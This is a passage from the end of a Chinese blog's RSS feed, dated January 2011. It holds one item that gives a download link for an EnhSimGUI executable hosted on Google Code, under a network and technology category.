下载地址 ：http://code.google.com/p/armorymini/downloads/detail?name=EnhSimGUI_me.exe&amp;can=2&amp;q=#makechanges</p>]]></description>
			<link>https://landon.v70.us/show-142-1.html</link>
			<category domain="https://landon.v70.us/category-3-1.html">网络·技术</category>
			<pubDate>2011-01-30 23:29</pubDate>
		</item>
	</channel>
</rss>

